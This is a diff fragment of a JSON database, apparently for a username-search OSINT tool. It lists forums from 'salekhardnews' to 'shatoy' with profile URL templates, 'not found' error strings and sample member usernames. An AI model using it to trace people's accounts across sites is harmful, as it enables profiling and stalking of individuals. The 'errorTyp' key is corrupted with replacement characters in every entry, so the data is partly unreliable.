Forbidden", + "errorTyp��": "message", + "url": "https://salekhardnews.ucoz.ru/index/8-0-{}", + "urlMain": "https://salekhardnews.ucoz.ru", + "usernameON": "ACID", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_salfetka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salfetka.at.ua/index/8-0-{}", + "urlMain": "https://salfetka.at.ua", + "usernameON": "Yarinka", + "bad_site": "" + }, + "Forum_salo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salo.ucoz.ru/index/8-0-{}", + "urlMain": "https://salo.ucoz.ru", + "usernameON": "Vitalinestik", + "bad_site": "" + }, + "Forum_salon-gala": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://salon-gala.moy.su/index/8-0-{}", + "urlMain": "https://salon-gala.moy.su", + "usernameON": "hairs", + "bad_site": "" + }, + "Forum_salsa": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.salsaforums.com/members/?username={}", + "urlMain": "https://www.salsaforums.com", + "usernameON": "so1001", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_samara-clad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://samara-clad.ru/index/8-0-{}", + "urlMain": "http://samara-clad.ru", + "usernameON": "Dersu", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_samara-gaming": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samara-gaming.clan.su/index/8-0-{}", + "urlMain": "https://samara-gaming.clan.su", + "usernameON": "deirdremo3", + "bad_site": "" + }, + "Forum_samarahunter": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "404 Not Found", + "errorTyp��": "message", + "url": "http://samarahunter.ru/forums/member.php?username={}", + "urlMain": "http://samarahunter.ru", + "usernameON": "Lonsdale", + "bad_site": "" + }, + "Forum_samatow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samatow.my1.ru/index/8-0-{}", + "urlMain": "https://samatow.my1.ru/", + "usernameON": "plats", + "bad_site": "" + }, + "Forum_samimiyat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://samimiyat.ucoz.net/index/8-0-{}", + "urlMain": "https://samimiyat.ucoz.net", + "usernameON": "MaRJoNa", + "bad_site": "" + }, + "Forum_samovar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.samovar-forum.ru/index/8-0-{}", + "urlMain": "https://www.samovar-forum.ru", + "usernameON": "MrKoteika", + "bad_site": "" + }, + "Forum_samp-rp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://samp-rp.online/members/?username={}", + "urlMain": "https://samp-rp.online", + "usernameON": "allen_tyanytov", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_samp-sektor": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.samp-sektor-2.ru/index/8-0-{}", + "urlMain": "http://www.samp-sektor-2.ru", + "usernameON": "wellnemo7", + "bad_site": "" + }, + "Forum_samp-top": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://samp-top.at.ua/index/8-0-{}", + "urlMain": "https://samp-top.at.ua", + "usernameON": "Diablo", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_samru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация отсутствует", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html", + "urlMain": "https://www.samru.ru", + "usernameON": "Ken", + "bad_site": "" + }, + "Forum_sanatorii": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Санатории Беларуси Белоруссии • Информация", + "errorMsg3": "SQL ERROR", + "errorTyp��": "message", + "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.sanatorii.by", + "usernameON": "pavlovich", + "bad_site": "" + }, + "Forum_sannata": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.phantom.sannata.org", + "usernameON": "RafGul", + "bad_site": "" + }, + "Forum_santacruz": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.santacruzforums.com/members/?username={}", + "urlMain": "https://www.santacruzforums.com", + "usernameON": "cargonaut", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_santechniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "action=\"./ucp.php?mode=login\">", + "errorTyp��": "message", + "url": "https://santechniki.com/memberlist.php?username={}", + "urlMain": "https://santechniki.com", + "usernameON": "Murza74", + "bad_site": "" + }, + "Forum_santehnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}", + "urlMain": "http://сантехсвар.рф", + "usernameON": "SVAR", + "bad_site": "" + }, + "Forum_sape": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.sape.ru/member.php?username={}", + "urlMain": "http://forum.sape.ru", + "usernameON": "Nike99", + "comments": "Archive", + "bad_site": 1 + }, + "Forum_saranskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "pr('','','',''", + "errorMsg2": "профиль
    ", + "errorTyp��": "message", + "url": "https://saranskchess.forum24.ru/?32-{}", + "urlMain": "https://saranskchess.forum24.ru", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_Sat-prof": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sat-prof.com.ua/member.php?username={}", + "urlMain": "https://sat-prof.com.ua", + "usernameON": "kreshnot", + "bad_site": "" + }, + "Forum_satisfacktion": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://satisfacktion.ucoz.ru/index/8-0-{}", + "urlMain": "https://satisfacktion.ucoz.ru", + "usernameON": "satisfacktion", + "bad_site": "" + }, + "Forum_sauna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.saunaforums.com/forums/users/{}/", + "urlMain": "https://www.saunaforums.com", + "usernameON": "rick", + "bad_site": "" + }, + "Forum_saunabauen": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden Ergebnisse gefunden", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.saunabauen.de", + "usernameON": "klaus", + "bad_site": "" + }, + "Forum_savasleyka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://savasleyka.ru/index/8-0-{}", + "urlMain": "http://savasleyka.ru", + "usernameON": "catalogs123123", + "bad_site": "" + }, + "Forum_say7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://forum.say7.info/search.php?search_author={}", + "urlMain": "https://forum.say7.info", + "usernameON": "Fia-Lka", + "bad_site": "" + }, + "Forum_sayyod": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sayyod.com/index/8-0-{}", + "urlMain": "http://sayyod.com/", + "usernameON": "mushkulsavdo", + "bad_site": "" + }, + "Forum_sc2mafia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.sc2mafia.com/forum/member.php/?username={}", + "urlMain": "https://www.sc2mafia.com", + "usernameON": "Gikkle", + "bad_site": "" + }, + "Forum_scalemodeladdict": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scalemodeladdict.com/members/?username={}", + "urlMain": "https://www.scalemodeladdict.com", + "usernameON": "spruecutter", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scb.ucoz.ru/index/8-0-{}", + "urlMain": "https://scb.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_school-1130": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school-1130.ucoz.ru/index/8-0-{}", + "urlMain": "https://school-1130.ucoz.ru", + "usernameON": "KPECT", + "bad_site": "" + }, + "Forum_school74": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://school74.ucoz.ru/index/8-0-{}", + "urlMain": "https://school74.ucoz.ru", + "usernameON": "Ruike", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_school87": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://school87.clan.su/index/8-0-{}", + "urlMain": "https://school87.clan.su", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_scienceforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.scienceforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.com", + "usernameON": "rohan232323", + "bad_site": "" + }, + "Forum_scienceforumsnet": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "your search. Try broadening your criteria", + "errorTyp��": "message", + "url": "https://www.scienceforums.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.scienceforums.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_sciforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.sciforums.com/members/?username={}", + "urlMain": "https://www.sciforums.com", + "usernameON": "billvon", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scimarche": { + "country": "🇮🇹", + "country_klas": "IT", + "errorTyp��": "status_code", + "url": "https://www.scimarche.it/membri/{}/", + "urlMain": "https://www.scimarche.it", + "usernameON": "jonathan", + "bad_site": "" + }, + "Forum_sciphysicsforums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "http://www.sciphysicsforums.com/spfbb1/search.php?keywords=&terms=all&author={}", + "urlMain": "http://www.sciphysicsforums.com", + "usernameON": "FrediFizzx", + "bad_site": "" + }, + "Forum_scivarin": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scivarin.ucoz.ru/index/8-0-{}", + "urlMain": "https://scivarin.ucoz.ru", + "usernameON": "БОГЕР", + "bad_site": "" + }, + "Forum_scompaginando": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Questo utente non è registrato", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.scompaginando.it/member.php?username={}", + "urlMain": "http://www.scompaginando.it", + "usernameON": "Enribello", + "bad_site": "" + }, + "Forum_scooterista": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scooterista.ru/index/8-0-{}", + "urlMain": "https://scooterista.ru", + "usernameON": "Dreamer", + "bad_site": "" + }, + "Forum_scotchmaltwhisky": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Sorry, ", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.scotchmaltwhisky.co.uk/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.scotchmaltwhisky.co.uk", + "usernameON": "William", + "bad_site": "" + }, + "Forum_scrambler": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.scramblerforum.com/members/?username={}", + "urlMain": "https://www.scramblerforum.com", + "usernameON": "fatrob", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_scrapbookcampus": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://scrapbookcampus.com/invision/search/?q={}&quick=1&type=core_members", + "urlMain": "https://scrapbookcampus.com", + "usernameON": "jacques", + "bad_site": "" + }, + "Forum_scriptmen": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scriptmen.ucoz.ru/index/8-0-{}", + "urlMain": "https://scriptmen.ucoz.ru", + "usernameON": "reix24", + "bad_site": "" + }, + "Forum_scripts-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://scripts-money.clan.su/index/8-0-{}", + "urlMain": "https://scripts-money.clan.su", + "usernameON": "Diamond00744", + "bad_site": "" + }, + "Forum_scssoft": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.scssoft.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.scssoft.com", + "usernameON": "B787", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_scuba": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "http://forum.scuba-divers.ru/memberlist.php?username={}", + "urlMain": "http://forum.scuba-divers.ru/", + "usernameON": "bubonic", + "bad_site": "" + }, + "Forum_se-forever": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-forever.ucoz.com/index/8-0-{}", + "urlMain": "https://se-forever.ucoz.com", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_se-style": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-style.3dn.ru/index/8-0-{}", + "urlMain": "https://se-style.3dn.ru/", + "usernameON": "qwerty2244", + "bad_site": "" + }, + "Forum_se-zver": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://se-zver.ucoz.net/index/8-0-{}", + "urlMain": "https://se-zver.ucoz.net", + "usernameON": "magwrisK", + "bad_site": "" + }, + "Forum_se7ensins": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.se7ensins.com/members/?username={}", + "urlMain": "https://www.se7ensins.com", + "usernameON": "mocolos", + "comments": "super", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_seabreeze": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "response_url", + "url": "https://www.seabreeze.com.au/Members/Profile/Details.aspx?member={}", + "urlMain": "https://www.seabreeze.com.au", + "usernameON": "surfanimal", + "bad_site": "" + }, + "Forum_searchengines": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "
    ", + "errorMsg2": "class=\"nothing-found__title", + "errorTyp��": "message", + "url": "https://searchengines.guru/ru/search?keyword=&author={}&sortByDate=false", + "urlMain": "https://searchengines.guru", + "usernameON": "LevShliman", + "bad_site": "" + }, + "Forum_sebezh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>
    403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://secure-net.ucoz.ru/index/8-0-{}", + "urlMain": "https://secure-net.ucoz.ru", + "usernameON": "hcurcl", + "bad_site": "" + }, + "Forum_segaxtreme": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://segaxtreme.net/members/?username={}", + "urlMain": "https://segaxtreme.net", + "usernameON": "bluemoon95", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_selfsufficientculture": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.selfsufficientculture.com/members/?username={}", + "urlMain": "https://www.selfsufficientculture.com", + "usernameON": "daveb", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sell-akk": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://sell-akk.at.ua/index/8-0-{}", + "urlMain": "http://sell-akk.at.ua", + "usernameON": "apelsin", + "bad_site": "" + }, + "Forum_semenovka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://semenovka.at.ua/index/8-0-{}", + "urlMain": "http://semenovka.at.ua", + "usernameON": "semenovka", + "bad_site": "" + }, + "Forum_semerkainfo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg3": "Вам закрыт доступ к конференции.", + "errorTyp��": "message", + "url": "http://www.semerkainfo.ru/forum/memberlist.php?username={}", + "urlMain": "http://www.semerkainfo.ru", + "usernameON": "DJTigra", + "bad_site": "" + }, + "Forum_semperficatholic": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "One moment,", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://semperficatholic.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://semperficatholic.com", + "usernameON": "MarieT", + "bad_site": "" + }, + "Forum_seniorforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.seniorforums.com/members/?username={}", + "urlMain": "https://www.seniorforums.com", + "usernameON": "pinky", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_sens": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sens.ucoz.ru/index/8-0-{}", + "urlMain": "https://sens.ucoz.ru", + "usernameON": "AlexSpain", + "bad_site": "" + }, + "Forum_serebropol": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebropol.ucoz.ru/index/8-0-{}", + "urlMain": "https://serebropol.ucoz.ru", + "usernameON": "kedrdek", + "bad_site": "" + }, + "Forum_serebryansk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serebryansk.online/index/8-0-{}", + "urlMain": "https://serebryansk.online", + "usernameON": "Luintil", + "bad_site": "" + }, + "Forum_serega363": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serega363.ucoz.ru/index/8-0-{}", + "urlMain": "https://serega363.ucoz.ru", + "usernameON": "realhacking", + "bad_site": "" + }, + "Forum_serenesforest": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.serenesforest.net/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.serenesforest.net", + "usernameON": "Jedi", + "bad_site": "" + }, + "Forum_serien": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serienforum.com/search/?&q={}&type=core_members", + "urlMain": "https://www.serienforum.com", + "usernameON": "Redaktion", + "bad_site": "" + }, + "Forum_serioussite": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.serioussite.ru/index/8-0-{}", + "urlMain": "https://www.serioussite.ru", + "usernameON": "tisomard", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_serpentes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.serpentes.ru/forums/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://www.serpentes.ru", + "usernameON": "TRexfood", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_server1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://server1.ucoz.net/index/8-0-{}", + "urlMain": "https://server1.ucoz.net", + "usernameON": "Arthurunige", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_servethehome": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.servethehome.com/index.php?members/&username={}", + "urlMain": "https://forums.servethehome.com", + "usernameON": "chlastakov", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_servicestack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forums.servicestack.net/u/{}/summary", + "urlMain": "https://forums.servicestack.net/", + "usernameON": "lai", + "bad_site": "" + }, + "Forum_serwis": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://serwis.ucoz.ru/index/8-0-{}", + "urlMain": "https://serwis.ucoz.ru", + "usernameON": "sigushki", + "bad_site": "" + }, + "Forum_setcombg": { + "country": "🇧🇬", + "country_klas": "BG", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "<meta name=\"robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "https://forum.setcombg.com/members/{}.html", + "urlMain": "https://forum.setcombg.com", + "usernameON": "ganev", + "bad_site": "" + }, + "Forum_setter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://setter.borda.ru/?32-{}", + "urlMain": "https://setter.borda.ru", + "usernameON": "veronika12", + "bad_site": "" + }, + "Forum_sev-kav": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://sev-kav.clan.su/index/8-0-{}", + "urlMain": "https://sev-kav.clan.su", + "usernameON": "tbes50203", + "bad_site": "" + }, + "Forum_sevenstring": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sevenstring.org/members/?username={}", + "urlMain": "https://sevenstring.org", + "usernameON": "maxofmetal", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_severushermione": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://severushermione.clan.su/index/8-0-{}", + "urlMain": "http://severushermione.clan.su", + "usernameON": "Olias", + "bad_site": "" + }, + "Forum_severussnape": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "http://sfinx-cats.ucoz.ru/index/8-0-{}", + "urlMain": "http://sfinx-cats.ucoz.ru", + "usernameON": "Meggikliri", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_sgvavia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.sgvavia.ru/index/8-0-{}", + "urlMain": "https://www.sgvavia.ru", + "usernameON": "alla22", + "bad_site": "" + }, + "Forum_shaman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shaman.3dn.ru/index/8-0-{}", + "urlMain": "https://shaman.3dn.ru", + "usernameON": "vtaletkhfr", + "bad_site": "" + }, + "Forum_shanse": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanse.ucoz.com/index/8-0-{}", + "urlMain": "https://shanse.ucoz.com", + "usernameON": "Юлия", + "bad_site": "" + }, + "Forum_shanson": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://shanson.ucoz.ru/index/8-0-{}", + "urlMain": "https://shanson.ucoz.ru", + "usernameON": "FERMABOT", + "bad_site": "" + }, + "Forum_shatoy": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", 